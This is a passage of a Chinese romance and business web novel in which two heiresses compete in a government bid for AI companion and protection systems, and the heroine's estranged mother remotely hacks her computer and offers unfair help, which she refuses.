许宁手握成拳隐忍道:“姜小姐,陆斯年是您的未婚夫,但是他在A市跟许愿举止亲密,次次维护许愿,甚至为了许愿的合作多次由盛华让利,他和许愿的关系根本不简单。” 姜明珠眯眸:“那也是我的事。” “姜小姐!陆斯年早就跟许愿勾搭到一起了!他的妹妹陆晚晚都已经跟许愿见过面了,陆斯年肯带许愿见自己的家人,姜小姐呢,见过他的家人吗!” 姜明珠眼神愈发危险了。 她跟陆斯年的身份说是未婚夫妻关系,但其实并没有多少感情。 纯粹是多年前她见到陆斯年第一眼就喜欢,逼着家族的人找关系跟陆斯年绑定的,但事实上两人都没有过多接触过。 她不了解陆斯年,陆斯年同样也不了解她。 订婚后她便没再继续缠着陆斯年,在她看来订了婚就是给这个人打上自己的标签,以后一定会结婚的。 但事实却是,订婚还可以解除婚约,结婚了还可以离婚,这就是现实。 她来A市针对许愿也是因为许愿和陆斯年走得太近,加之容浔的请求。 她对许愿确实带着几分恶意的。 她知道许愿跟盛景炎订婚了,就因为这样她更觉得许愿应该注意言行,不能跟其他男人走得太近。 有了未婚夫为什么还要离其他男人那样近?特别是陆斯年…… 姜明珠眸光闪烁,许宁感觉到姜明珠态度古怪,立刻冲过去将自己印出来的照片放到桌面上。 “姜小姐你看,这些都是许愿不守妇道的事实,她有了盛景炎这个未婚夫却还一直勾着这么多的男人!” “姜小姐您看,容浔、傅京礼、沈略、黎云笙、薛酒、陆斯年……甚至还有隔壁市的宋观鱼,每一个人都是在圈内有资源有地位的,就是最差也是沈略这种身份的人。” “沈略都为了她被踢出了傅氏高层转去盛世!” 许宁仿若遇到了知音一般仿佛自己发现了许愿的丑恶面,一定要她知道一般。 姜明珠眸光冷淡,其实对许宁这些话并不在意,但是……一个两个是假,但这么多个总有个真的混在其中。 特别是宋家那位少爷宋观鱼对许愿的偏爱是可以看得到的。 盛景炎到底是断了腿的,许愿现在能说自己爱他不在乎他不良于行,但以后呢? 一年可以两年可以,那五年,十年,一辈子,她真的能坚持吗? 一旦她退缩了,这些男人就全部都是她的备胎。 姜明珠目光冷淡的看着这些照片,眼底的凉意藏也不藏。 片刻后毫不在意的全都拍到许宁脸上。 许宁震惊,不知道自己现在又是哪里惹了这位千金不痛快。 “姜小姐……” “你当我是蠢货吗?”姜明珠冷眼看她:“不过是想利用这些照片惹怒我让我针对许愿。” “也是难为你这些天一直跟踪许愿拍到这些照片,看来你没少关注她,但是记清楚了。” “你和她从来都不属于同一高度。” “她的母亲是苏青莲,你的母亲只是一个小三,你不配跟她比,所以最好给我滚远些。” 姜明珠语气中的厌恶感太过明显。 许宁只能隐忍着,但她知道自己其实成功了一半。 最起码姜明珠对许愿多了恶感,就算不跟她联手也绝对不会让许愿好过的不是吗。 许宁掩下眼底的狠辣,姜明珠却已经不想再看她一眼,挥了挥手保镖就将人丢出去。 明明被丢出去,许宁却并不觉得丢人,边走边笑,像是疯子。 包厢内没了许宁,重新静下来。 她垂眸,目光重新落到那些照片上。 第一眼瞥见的就是陆斯年和薛酒跟在许愿身后,像是故意守在她身后担心她被什么人伤到一般。 她的未婚夫,却要执意守着许愿? 多可笑呢。 她微微阖眼,再睁眼时看到的则是陆斯年的妹妹陆晚晚陪着许愿笑容满面的模样,眼底凉意愈发深了。 陆斯年从不肯带她见家人,却带着许愿见了他妹妹,所以在陆斯年眼中,许愿果然要比她重要吗。 第467章 不会让她离开 她很想亲自问一问陆斯年,到底是为什么。 可一旦开口了,她堂堂姜家小姐反倒成了笑话,她不会这么做。 她高高在上就一定要站在最顶端,不会给任何人嘲笑自己的机会。 纵然想知道这次的事实真相,也绝不会低头。 姜明珠抬头看向保镖:“让容浔来见我。” 收到姜明珠这边的信息,容浔特意推了最近的会议赶过来见这位大小姐。 姜明珠见到他就轻微皱了下眉。 “我听说许愿最近计划拿下上面的智能电子项目,你把资料发给我,今晚我会交给你一份竞标书一同参与竞标。” 理论上来说,参与这次竞标的人不在少数,但因为许愿研发的各类项目,很多人已经猜测这次的合作机会几乎是选定了许愿,旁的公司只是走个流程了。 但姜明珠若是插上一脚那就不好说了。 许愿所在的盛世有许愿和段星河研发的各类成品,姜明珠也有自己的研发团队,且她也有成熟的智能成品。 两方对上,谁输谁赢? 没人猜得到。 但若是姜明珠也掺进这次的竞标中,最不好过的绝对是盛世。 容浔扬眉,笑容逐渐加深:“资料现在就可以发给你,期待姜小姐带给我的惊喜。” 姜明珠接收了文件,快速翻看心里有数,只是抬眸对上容浔笑吟吟的面容忍不住噎了一下。 “能不能不要用这样的表情看着我,有点恶心。” 容浔:“……” 容浔唇角的笑意都僵了一下。 “好的,那我就不打扰姜小姐了,随便姜小姐如何发挥。” 容浔并不多留,事实上他邀请姜明珠进入傅氏为的就是针对许愿,而今天许宁会找上姜明珠也是他和傅京礼有意为之。 按照许宁的嫉妒心,姜明珠来A市她绝对不会放过这个机会。 所以许宁会见姜明珠在意料之中。 接下来就看姜明珠对上许愿会是什么场景了。 …… 傅氏参与竞标的消息被放出去,代表傅氏参与竞标并跟盛世对立的是姜明珠。 明面上是傅氏对盛世,其实何尝不是姜明珠对许愿? 【这次有好戏看了,盛世自从有了许愿一直都是顺风顺水的,现在有了姜明珠跟许愿打擂台,盛世也是遇到难题了。】 【这次是与智能体系相关,盛世设计的智能体系已经很完善了,姜明珠手中真的有更完善的系统吗?千万别在参加竞标过程中输给许愿,那场面就太难看了,还会让姜家蒙羞。】 【姜明珠手中的智能体系和许愿的是有区别的,区别在于时效以及控制系统方面,但也有弊端,只能说要看竞标当天谁输谁赢,两方会不会尽快优化升级系统。】 网络上都在猜测这次赢家是谁。 竞标当天,许愿早早起来,却见盛景炎已经收拾妥当,甚至挑选好了合适的西装。 她瞥了眼床头,赫然是跟那套西装配套的礼裙,是盛景炎挑好的。 许愿不由失笑。 “你要陪我一起去?” 盛景炎淡淡的嗯了一声。 “这次姜明珠也会去,所以我陪你一起。” 许愿才洗漱好便扑过去在他颈边蹭了又蹭:“哦~担心我啊。” “姜明珠是厉害,不过我也不差啊。” 许愿眉眼靓丽,显然并没有因为姜明珠而产生半分怯意,她整个人几乎快缩进他怀中:“不过,你真的要陪我一起吗。” 她还记得盛景炎很在乎他的腿,就这样出现在众人面前,难保不会被那些人用有色眼镜看待。 “我不放心。” 他是为了许愿才忍受旁人的目光。 许愿心里暖融融的,她很想说那就别去了,但她知道,盛景炎才是盛世真正的掌舵人,他不能一直躲起来,他需要面对媒体面对众人的。 所以她没拒绝盛景炎的陪伴。 段星河在楼下等许愿,见盛景炎一起便扬了扬眉,知道盛景炎担心许愿便也没打趣。 许愿和盛景炎到场时竞标会已经快要开始了。 不巧的是,迎面对上的是傅氏的人和姜明珠。 姜明珠身边的则是容浔和傅京礼。 许愿心道有点晦气,但面上还是露出笑容,目光对上站在正中央的姜明珠。 不愧是当初在娱乐圈爆红的国民女星,足够漂亮,明艳大气,她的妆容精致,手腕上的手表是最新款的,许愿一眼就认出那块手表全球限量只有两块,价值五千七百万元。 不愧是姜家人捧在掌心的“明珠”。 只一眼就能看出对方是在蜜罐中长大的,浑身上下都没有多少阴霾。 对上这样的人,大概这种人对付你都会直接告诉你说我讨厌你,我要设计你了。 就算是针对也会摆在明面上,是个强大的对手,但绝非小人。 许愿心里有了底。 许愿观察姜明珠时姜明珠也在观察许愿。 坦白来说这是姜明珠真正意义上第一次见许愿,往日里都是通过照片或者视频。 她知道许愿很美,但真正见到了才知道照片和视频压缩了她的美貌,见了真人才知道她的那种美貌带着难以言喻的冲击,是绝对的浓颜系美人。 姜明珠不知怎么的想到了许宁。 许宁长相是好的,若没见到许愿,姜明珠也觉得许宁算是个美人,但对上许愿姜明珠算是彻底明白许宁身上那种浓浓的自卑感是怎么来的了。 是被许愿的美貌打击的吗? 就这样的对比,她实在是不能理解傅京礼为什么会选择跟许愿离婚从而选择许宁那样卑劣的人。 姜明珠脚步微微顿了下偏头看向傅京礼:“傅总。” 傅京礼目光一直停留在许愿身上,听到她的声音才淡淡嗯了一声。 姜明珠问:“你到底怎么想的,会为了许宁放弃她?” 傅京礼面上的表情似乎都因为这个问题带上了些许愁绪。 是啊,他当初到底是怎么想的?会为了许宁放弃许愿。 如果再给他一次机会,他一定会守好许愿,不给她任何离开自己的机会。 他垂眸,眼底闪过几许暗芒。 不过现在似乎也不晚,不是吗。 第468章 竞标会 竞标会正式开始。 这是上面领导人主持的竞标会,有关智能系统的。 各方资本团队纷纷将早已规划好的设计方案及成品上交,为的就是拿下这次的合同。 但多数团队其实只是来走一个过场,他们想看一看许愿和姜明珠到此能斗到什么地步,更想知道对方拿出的智能系统成品什么样。 而且……他们想知道最终谁会是赢家。 在场的人都清楚,姜明珠是为了许愿来到A市,她将许愿看做了敌人、对手。 这是他们第一次正面交锋,谁是赢家其实非常重要。 没人敢直接下注猜测。 许愿是苏青莲的女儿,天资聪颖身边还跟了个段星河,虽然现在背后没有多少资本,但谁也不清楚苏青莲原来的那些好友或者爱慕者算不算是许愿的资本。 姜明珠呢?姜家背后几道势力均有涉足,且本人也有所属的研究团队,在国外拿过各类奖项,纵然没有苏青莲这样妖孽一般聪慧的母亲,但姜家一直都是人才辈出,且能给姜明珠最大的助力。 所以此次赢家究竟是谁,是许愿还是姜明珠?没人敢猜。 主办方也是奸诈,特地将许愿和姜明珠两方团队的智能系统放到最后展示。 时间一晃到两小时后,首先是盛世要展示的智能系统。 其系统展示了AI的流畅度和思维逻辑能力,甚至加入多种声线可以自己生成或者自拟声线,盛世甚至代入了游戏中的捏脸系统,可扫码利用自己的脸为自己的智能系统生成与自己脸型相似的人物,可选择物种也很多,可以选择人类也可以选择动物,其AI系统并不枯燥充满趣味性,且能够陪伴孤独人群进行双人游戏甚至多人游戏。 如果这一系统和陪伴类机器人或者陪伴类AI捆绑到一起,那将会开拓新市场。 姜明珠坐在台下,看着盛世展示出AI的优越性,逐渐认真起来,时不时的跟身边的研究员进行交流做着各类笔记。 她本以为自己设计的智能系统已经极为优越,但显然盛世的智能系统也有其优越于他们的条件,她们在细节的把控上要远超他们。 而且对于智能AI来说,越是这样的精细的地方越是需要敲击更多繁琐的代码去喂养AI。 如果确定要选定陪伴类人群,许愿设计的系统是最合适的。 容浔眼底也是饱含兴味儿。 该说不愧是许愿吗,就是这样简单的系统她也能在各方面玩出花样来,不过……盛世的系统优异,不代表他们的系统就会输。 盛世展示过后就轮到了姜明珠所代表的傅氏展出的智能系统。 相较于盛世的系统,傅氏的系统有点在于续航能力更长,也就是所谓的电力,提到续航能力这是所有人都关注的一点,傅氏的系统续航能力优于盛世,且傅氏的系统有一定的防爆措施,在主人遇到危险后有一定的抗击能力,并能熟练运用数种武器,甚至场内还邀请了普通男性上台做示范,果真被智能系统追逐打压,就连退伍兵上去也能跟其打的有来有回。 盛世的智能系统是陪伴型,那傅氏的系统就是防护型,全都适用于敏感型人群。 众人都在猜这次会将合作的机会留给谁。 其实谁也没抉择出赢家,因为在他们看来,合二为一才是最好的结果,但一定要选其一……真不知道会选谁。 许愿握紧盛景炎的手,在他耳边很轻声的呢喃:“你猜他们会选谁。” 盛景炎挑了下眉回应:“他们不会做出选择,应该会找个借口先结束竞标会,然后私下找我们协商合作。” 这想法和许愿的一样。 许愿揉捏了下自己的掌心,等着看台上的领导人找借口。 就像盛景炎猜的那样,对方找借口先结束了竞标会,宣布了其它团队竞标失败,独留下盛世和傅氏的团队单独召开会议。 有人边往外走边小声嘀咕。 “我说什么来着,许愿和姜明珠的团队都不会被淘汰,多半是要两家合作呢。” “傅氏和盛世合作,啧,这要换做是以前那肯定是板上钉钉的了,只是现在的傅氏和盛世……都已经对立了,难啊。” 负责人也知道两方都不好惹,笑呵呵的命人特意准备了茶点然后自行跑出去摇人。 天可怜见,谁愿意主持这糟心的竞标会啊! 换做是别的团队企业竞标,他们都不会放心上,但偏偏这次的竞标会上来了两尊大佛。 一个许愿,一个姜明珠。 许愿背靠苏青莲,虽说苏青莲现在在国内还是个“死人”,但谁都清楚她活的好好的!苏青莲有多护短多年前的人都清楚,谁敢真的招惹她女儿? 姜明珠呢?姜家就是省油的了?这位背靠姜家,什么背景都掺杂点,真要得罪了这位,这辈子估计升职无望了。 都是聪明的,没人想来主持这次的竞标会,他们这群人还是抽签定的。 他倒霉,轮到他主持。 他也知道让两家合作几乎是不可能的,但是……总要试试啊。 他不敢试,所以决定摇人。 A市特别行政办公处。 “我早说了让他去不成,你看许愿和姜明珠谁会给他这个面子,到时候姜家小公主生气了绝对把他脸往地下踩啊!面子也好自尊也好全没了!” “到底谁把这事儿抢到我们部门的啊!” “那一开始谁也没想到最后会插进来了姜明珠啊,谁知道姜家进来添什么乱!本来都定好了是盛世了。” “要命,真要命,他电话打来了!” 竞标会开始的时候特别行政办公处办公室内都能看到现场的动态,可以说是全程直播, 盛世和傅氏的优缺点都能看得出来,谁都能瞧出来两家合作是最优解。 但问题是,这两家会给面子合作吗? 旁的人知道是上面的指使肯定不敢多说什么,但偏偏这两人上头都有人啊。 有人轻咳了一声:“那不然……让那位去?” 第469章 活阎王顾凛 “哪位啊,你把话说清楚点的。” 光头的消瘦男人有点着急对方说不清楚话,赶紧追问。 戴眼镜的圆脸女人努努嘴巴指向角落那位。 光头男人眼前一黑,他赶紧抓住圆脸女人低声道:“你疯啦让那位去?你指望他能给谁面子啊?” “已经有两个莽的了你再加一个莽的?你要三莽闯九州啊!” 圆脸女人提醒:“你是不是忘了许愿身边还有个邢队和段星河?硬要说起来那是五莽……” 光头男人又开始眩晕了。 救命啊,这都是什么要命的组合啊。 也是今天段星河一直都很安静没出声,但不代表段星河就是个老实的,以前在他们这边看护研究的时候他哪天不气人?今天把这边大门炸了那边给谁的茶水里放了点新药,偏生是个谁也惹不起的主。 圆脸女人小声:“不让那位去你还打算让谁去?现在在A市能做主的就那么几个人,你要找个疯的还算理智的也就这位了。” 圆脸女人数着手指头说:“你看,背景强大,满门忠烈谁也惹不起他,姜家老爷子见了他都要低头更别说姜明珠了,邢队呢?邢队跟他又是曾经的队友两人交情在这里肯定打不起来。再加之以前段星河这魔王在这里胡闹哪次不是他压制住了?怎么算都是这位去最合适。” 光头男人深吸一口气:“你是不是忘了苏青莲曾经对他有恩,他能不偏许愿吗。” “你是不是搞笑呢?许愿的身份说是苏青莲的女儿,其实跟唐家也有关联,唐家大本营本就是在A市,不偏她偏谁?” 听了这话光头男人连连叹气,说着是这么个理儿。 “那你去跟那位爷说?”光头男人提议。 “怎么你不去?”圆脸女人不服。 两人看向另一圈人,几人抬头看天看地嘟囔:“你们自己提的自己去啊,别看我们。” 一群人推来推去愣是没人敢去请那位。 坐在角落的高大男人捏了捏眉心,将杯中已经冷掉的茶水一饮而尽。 “听你们嘀咕半天了,是不是忘了我曾经是做什么的了?” 顾凛将茶杯撂到桌面上,轻啧一声。 众人心里一咯噔。 要命,这人以前在特警队,那耳朵可灵着呢。 “等你们来请,黄花菜都凉了,歇着吧你们。” 顾凛披上大衣走了。 众人嘀咕:“顾部长这是什么意思?” “能是什么意思啊!顾部长去镇场子了啊!” “顾部长牛皮!” “顾部长你是这个!” 一群人从办公室探出头竖大拇指,顾凛眼皮都跟着一跳。 “你们少议论我几句就成。” 他可太知道这群人平日里没什么正事干就喜欢议论上流圈子的八卦,没少叽歪他的事儿。 这话一出没声了。 顾凛“呵”了一声,他今天来这边其实就是猜到会有这么一出了,所以特地放下公务来这边看了个直播,结局和他想的一样,行动处的人不敢揽这活儿果然开始摇人了。 行,他去看看现场进展到哪一步了。 竞标会休息室百十来平,不算大,但两方人马泾渭分明,而另一方也就是负责人这方的助理躲在角落发抖心里呐喊救命。 姜明珠倒是没理负责人,跟研究员讨论着优化系统的事。 许愿此刻思索着续航问题,都在忙自己的,没时间理会其它的,倒是不带什么火花。 约莫等了半小时,休息室的门被推开了。 段星河一人占据了一条长椅就躺在上面假寐,听到门被推开的声音抬头扫了眼,正对上顾凛漆黑的一双眼,整个人一激灵,醒了。 靠。 怎么是这祖宗。 段星河面部表情都有些扭曲。 许愿也听见声音,抬头就对上顾凛高大身影。 是熟人了,上次跟他交谈过的顾部长。 她扬了下眉余光瞥见段星河脸上怪异的表情,实在有些疑惑便凑过去问了句:“怎么你看到顾部长一副如临大敌的模样?他怎么你了?” 那是如临大敌吗? 那就是大敌! 段星河深吸一口气:“以前我是被这群人直接管理的,我那时年轻也是比较浪,我吐槽他们整天闲的没事干,他就直接全天二十四小时盯着我,说是为了维护我的安全,这人以前在特警队待着的,你能想象那眼神吗?我险些被他盯到精神衰弱了。” “我说他们整天叫早的方式太无聊了,我根本起不来,他倒好,直接把这世界上所有的恐怖音乐给我搜罗来,我是没被叫醒啊,但听着那音乐谁能睡安稳,一个接一个的噩梦,满脑子都是白骨和血淋淋的人头,我睡个屁!” 段星河想到那几年跟顾凛斗智斗勇脏话都冒出来了。 “我说他们给我安排的茶水不好喝,他回我什么,是不好,不如他用来泡澡的武夷大红袍好。” “听听,这是人说的话吗?” 段星河一字一句全都是对顾凛的吐槽。 其实有个词可以精准的概括顾凛此人。 “活阎王”。 许愿似是有些无奈的看了盛景炎一眼,对方笑容也带着几分无奈。 他们似乎已经猜到为什么会安排顾凛来了。 混世魔王段星河都能压制,还有谁他压不住?就连刑从景跟他都是旧识好友,他一过来就能直接拉帮结派啊。 姜明珠没见过顾凛,她猜不到顾凛的身份,但她没少跟上面人接触,只远远瞥一眼就猜到顾凛身份不简单。 许愿身边有一个刑从景,现在又来了个大人物,这是打算利用这人来压制她们? 在场的都是聪明人,看到负责人乐颠颠的跟在顾凛身后一副什么都不怕的“小人”嘴脸,全都明白来人身份了。 “介绍一下,国安部部长顾凛,今天刚巧路过特别行动处所以被我们部门委托来跟几位商谈合作的事、” “顾部长拥有绝地话语权,您几位有什么意见都可以跟顾部长说。” 潜在意思就是,顾部长是老大,有事顾部长兜底,别找我,找我也没用。 可以说是怂的很彻底。 第470章 干涉这些的是苏青莲? 顾凛面上表情平淡,他脱掉冬大衣,身旁的负责人就笑呵呵的收起大衣还狗腿的叠好。 负责人说出顾凛名字和职位时姜明珠就怔住了。 顾姓,顾凛,国安部。 A市顾姓总裁很多,但涉及红色背景的顾家却只有这么一家,数年前满门忠烈独留下嫡系幼子才有了顾家后续传承的顾家,从战场硝烟中归来的顾家。 而这位就是曾碍于身份多次进入特警队出过数次任务后名正言顺承袭父亲职位的顾先生“顾凛”。 这位的身份,确实惊到姜明珠了。 若是来个身份普通的,姜明珠或许还能摆谱,但来人是顾凛,她心里清楚,就是爷爷来了也只能让步的份儿。 这人……地位是真的高啊。 容浔和傅京礼也没想到一次竞标会顾凛会专程参与进来,看来上面是既不想得罪许愿也不想得罪姜明珠,所以找了个能压制两人的大人物。 段星河看到姜明珠和傅氏的人变了脸色忍不住嗤笑一声。 是,顾凛这人确实最会摆谱了。 顾凛来了倒是没先开口,身边跟着的助理已经自备了茶壶,挺大的茶壶,应该能泡不少茶水。 助理跑了壶茶,有见识的都能闻出来这是顾凛当初拍下的大红袍。 段星河也闻出来了,金钱的味道。 茶汤泡好后助理面上带着笑意给在座的每人都倒了一杯,不过到许愿这里还多了杯热牛奶,这是让她喜欢喝什么都随意呢。 难为他还记得。 许愿笑了笑,举起手中的茶杯抿了一口,倒是给面子。 他坐在主位,冷淡漆黑的视线扫过众人,最终目光落到姜明珠脸上,他开口:“姜老爷子最近身体怎么样?听说最近心口痛,有时间带老爷子来A市做个系统的检查。” A市的风尚有江惊蛰,这确实比她们B市的要好上许多。 姜明珠也发现了顾凛并没有直接提到竞标的事,而是打着感情牌。 老油条了。 顾凛寒暄了一圈,方才进入正题。 “竞标会的现场我也看了,坦白来说两家都没能达到标准,但如果说一起合作倒是能拿下这次的合同,只是不知道你们怎么看。” 这下倒是把问题全都丢给他们。 两家都没达到标准吗? 不,是两家都超出了,但如果能结合到一起一定会是更加优越的智能系统,所以他在极力促成两方合作。 “你们有意合作吗。” 他问。 许愿眸光闪了闪,却还是在这种时候给了顾凛一个面子。 “我可以同意合作,各自占例百分之五十,但洽谈合作的需要时刚进入傅氏的姜家人。” 意思就是傅氏的老人,特别是傅京礼和容浔,免谈。 傅京礼眸光晦暗,喉头发涩。 他当然知道许愿为什么提到这些。 她还是在躲着他。 不等傅京礼和容浔给出回应,姜明珠就已经嗤笑一声开口:“你想合作问过我的意思了吗?” “许总,我根本没打算跟你合作。” 许愿抬眸淡淡看她一眼:“那姜小姐的意思是?” “当然是只能由我们其中一人占得最多的利益夺得合作机会。”姜明珠言辞犀利:“许总不必违心的与我们合作,大可不必这么虚伪。” 许愿皱眉。 她不是虚伪,她只是想到姜明钰,所以打算跟姜明珠有一次合作的机会,但没想到对方如此小心谨慎将她看做洪水猛兽。 “顾部长,你既然需要我们两家结合到一起的智能系统,那请问最终定下合作的时间是什么时候,总要有个时间限制。” 顾凛抱着手臂:“一个月时间。” “一个月内谁能做出更完整优越的智能系统谁就可以竞标成功。” 姜明珠抬眸,倏地模样对准许愿:“许愿,你敢不敢跟我一起接下这个挑战。” 许愿挑眉,什么意思? 姜明珠解释:“一个月内我们各凭本事优化自己所属系统,谁能完成顾部长说的优化各自的系统谁就能竞标成功,如果一个月内都没能优化成功我们再各自退一步达成合作。” 姜明珠可以说非常给顾凛面子了,她虽然不同意直接跟许愿合作,却也给了最后时限。 一个也内没达成目的再合作,她已经算让步了。 许愿点头:“我同意姜小姐的说法。” “你真的能明白我的意思吗?我是指我们各自接手这次的优化任务,我不用身边的研究员,你也不许用段星河!” 姜明珠话语清晰,段星河听得眉心一跳,哦,冲他来的。 段星河毫不在意的嗤笑一声。 姜明珠不会真以为盛世的那些东西全都由他一个人设计的吧。 许愿能拉拢他不仅因为她是苏青莲的女儿,更因为她自身实力过硬。 没有他许愿一样能研究。 许愿微笑:“好,姜小姐,就如你所说,我们各凭本事各自研发。” 这是姜明珠主动提出的挑战,就看一个月后谁能胜出。 …… 竞标会最终没有定下合作对象,并给出了一个月时间,一个月后再从盛世或是傅氏选择合作对象。 网络上不少人都在等着看好戏,看最终赢家是谁。 姜明珠回到自己的研究所进行研究,许愿也回到盛世独属于自己的研究所,这是她们之间的第一场争夺战。 许愿已经在研究着有关姜明珠的推出的智能系统,她开始编写数据代码试错,倏地房间内的灯光开始不停闪烁,本来还在编写的数据的电脑不停蓝屏黑屏,这种情况持续了大概半分钟后,电脑好似恢复正常。 但细看却能看到电脑屏幕上的数据被飞速的写出来,一串又一串晦涩难懂的数据,本该经过数次试错的数据被飞速编写出来并很快组成了一条条公式链接到一起融合称最新的智能系统,而可续航的研究数据也被敲打出来,像是将答案全都摆到了明面上。 许愿眸光一闪,等电脑辅一停止动作便立刻开始敲击键盘追踪对方行踪。 如果她没有猜错,干涉这一切的人……应该是苏青莲! 第471章 她有治好盛景炎的方法 究竟是谁能在这么短的时间内攻击她的电脑并改写智能系统的数据,如果她没有猜错,那串数据大概就是姜明珠引以为傲的数据算法。 是谁在一直监视着一切。 不,应该问是谁有能力监视这一切还有能力在极短的时间内破解了智能系统的数据,衬的她们之间的战争都成了小打小闹。 许愿脑海内闪过那人的名字。 苏青莲。 是的,在她知道的人群中,好像只有苏青莲能做到这一步。 为什么还是不肯放过她?为什么还是要一直盯着她?难道这段时间苏青莲还是没有放弃继续监视她吗? 许愿敲击键盘的动作越来越快,苏青莲的设下的数据陷阱太多,一不留神就会踩坑,她脸色越来越冷,但内心其实也清楚,如果不是苏青莲故意留着小尾巴,她是跟不上苏青莲的速度的。 这段时间她一直都没能追踪到她的坐标,这次……也是同样。 其实她也发现了苏青莲像是刻意的在训练她,每一次黑进她的系统都会留下点小礼物,全都是跟前沿数据科技相关的资料,有的是许愿需要的大数据有的是一些粗略的教材,像是被人随意整理出来的。 她像是在远程指导她。她感受的到。 可是凭什么呢? 这么多年不闻不问,一回来就用这样强硬的方式“教导”她? 苏青莲是把她当成什么好哄的宠物了吗? 但那些资料她还是看了,那些资料和数据也由她发给了苏逸。 苏青莲的东西,苏逸也要知道。 许愿眼神微黯,还在追逐苏青莲留下来的数据。 苏青莲像是在进行游戏,如果她想结束游戏,许愿根本抓不到她也跟不上她的速度,这是她的自信。 “你到底想做什么。” 许愿嗓音都带着点哑意。 她停下敲击键盘的动作,就盯着电脑屏幕,而那一串串的数据也不再动了。 一串串的代码逐渐消失。 电脑桌面多了一个页面,是监控视频。 这次,是苏青莲自己放弃了游戏,引着她进行交谈一般。 她终于对上了另一段的苏青莲。 一晃几个月过去,她再度见到苏青莲。 上一次见她眉宇间还带着些许愁容,可这次再见愁绪少了,好像整个人都显得愈发年轻了。 只有面对苏青莲时,许愿才不得不承认自己跟她真的很像,一样的眼睛,一样的鼻子,恍惚的一瞬,她甚至以为是自己在照镜子。 “许愿,好久不见。” 苏青莲笑容恬淡,还是那副云淡风轻处变不惊的模样。 “是我很久没见你,但你应该一直都能看到我。” 她追踪不到苏青莲,不代表苏青莲追踪不到她。 如果没有监视她,她不可能那么快就知道这次竞标的事还敲出了那串复杂的代码。 几乎是手动教她作弊,本来跟姜明珠定下一个月的时间,在苏青莲这里轻易化解,好像那样的代码对她来说就是在玩乐。 对许愿的质问,苏青莲没什么反应,她把玩着手中的一个精密的机器人玩偶,带着笑意的回应:“靠着我给你的些代码数据你可以直接赢过姜明珠,或者你需要我帮你将这两组数据和代码相融合,把最终版本的数据发给你?” “姜明珠不许段星河帮你,却从没提过不许我帮你,所以并不算违规。” 她果然什么都清楚,所以才给了她这组代码数据。 “胜之不武。” 许愿神色平静,并没有得到数据的欣喜,她静静的与视频中的苏青莲对视。 “我不需要你帮我,我自己可以做到的事不需要你横加干涉。” “我只是想帮你,这是在规则范围内的做法,不是吗?” 苏青莲不认为自己有错,她眉眼之间都带着光彩,与前几次什么都不在意的淡漠相比此刻的她才更显鲜活。 这就是诡辩。 因为姜明珠将段星河排除在外没把苏青莲算在其中是因为猜到苏青莲不会帮她,但显然,姜明珠不够了解苏青莲。 苏青莲最大的特点,其实是护短。 她和许愿之间如何,那是他们母女的事与外人无关。 “许愿,有时候你可以低头,我不会让你输。” 她像是故意告诉她,她是她永远的后盾。 “你怎么就知道我一定会输,我自认我不会比姜明珠差,一个月时间我能跟她公平竞争拿下合作。” 许愿对自己还是有信心的,她开口拒绝苏青莲难得释放的善意。 “我不会求你。” 苏青莲本来淡然的表情像是有了点点裂痕,她似乎是有些不理解的看向镜头对面的许愿。 “你为什么认为我想让你求我?我们是母女,我帮你不是理所应当的吗?” 她一再提到母女。 许愿垂眸一言不发,母女二人僵持着,许愿不开口,苏青莲便也没再开口。 她们似乎是在比谁先低头。 “许愿,如果我说我现在就能治好盛景炎呢?” “不需要你找别的方法研究什么假肢义肢或者细胞,我身边有人可以治好盛景炎的腿。” 她开口就直击许愿的灵魂。 不愧是母女。 果然是最了解许愿的人。 她知道许愿最担心的就是盛景炎的事,这些天许愿从未因为盛景炎的事真正放下心,她没有这么快研究其它方法,只因为她希望能找到医生治好他,凭借他自身的力量站起来。 可找了那么多医生,换了那么多团队,全都束手无策。 但现在苏青莲就这么轻描淡写的开口说自己有办法,无疑是要利用盛景炎来拿捏她。 许愿眸色果然冷了几分,苏青莲看到她这副模样猜着她可能误会,她很轻的叹了口气。 “我没想让你低头。” “当年的事是我的错,我承认我不算是个很好的母亲,但我一定是个很好的爱人,我为了你的父亲能做那样做的妥协,为了他可以放弃你和苏逸,你的性格和外貌是最像我的,你肯定也最在乎盛景炎。” “现在选择权在你面前,只要你同意,我就会安排人回国治疗盛景炎。” 第472章 他快醒了,对吗 苏青莲已经低头了。 她从最初在许愿面前高高在上的态度变成现在这般平和温柔的模样,好像真的变成了一位担心儿女的母亲。 一个人为什么突然之间会有如此大的转变? 能让苏青莲在乎的,只有那个男人,而那个她所谓的父亲除却爱情也看重亲情。 能让她退让妥协的只能是他。 “他快醒了,对吗。” 一语中的,猜中了一切。 苏青莲眼神一暗,视频瞬间被切断连接,电脑黑屏了。 苏青莲这样着急慌乱的切断连接只能说她猜对了,她的母亲确实快清醒了。 她想要一家人真正团聚,所以才会低下高贵的头颅对她本该看不上眼的儿女伸出援助之手。 果然是顶级恋爱脑。 许愿失笑,多年前上面那群人最初不担心苏青莲生出别的心思,恐怕就是因为研究院内有她的父亲,可以利用他钳制苏青莲。 现在她又为了他的父亲特地低头来找她,姜明珠的数据库怕是都被她侵入了。 许愿不觉得自己会输给姜明珠,破解那段代码和数据只是时间问题,只是苏青莲加快了这一切的进度。 许愿的记忆力惊人,苏青莲给的那串数据代码已经记在脑中,大脑已经有了局限性被框在其中,且苏青莲给的大框架还是优化过的,基于姜明珠那串代码数据更完善,她就算是想挑错处都挑不出。 她和姜明珠的比赛,还没正式开始,她就用这种另类的方式赢过了姜明珠吗? 这不是她想要的。 许愿捏了捏眉心,研究所也待不下去了。 打开门,却看到门口的已经多摆了张宽大的办公桌,上面摆满了盛世的各式合同文件,显然是有人将办公的地点挪到了这里。 许愿心口一热,忍不住看去,却见男人坐在轮椅上翻阅文件,听见门开的声音眉眼微微扬起,在文件上签字盖章后才抬头。 “怎么这么快就出来了?” 是盛景炎。 许愿看着这一幕不止怎么的眼瞳有些发热。 她当然知道盛景炎为什么会守在这里,他想第一时间见到她,她说要在研究所待一个月,他就真的打算在这里守她一个月吗。 “出了点事。”许愿走到盛景炎面前,她扫过桌上那厚厚一摞文件。 “怎么这么多文件要看?陈飞豪呢?” “参加完竞标会就有些不舒服,高烧快四十度,在风尚挂水,被江惊蛰留在风尚了。”盛景炎失笑:“他这个状态再给他看文件我都怕他一时脑子一热做出点错误的决策。” 他身旁一侧就是躺椅,许愿整个人倚靠进去。 “沈略还没来盛世啊,我这就把他叫过来。” 沈略出来后休息到现在了,许愿一通电话断了沈略继续休假的念想,文件也被一分为二,其中一部分到了沈略手里。 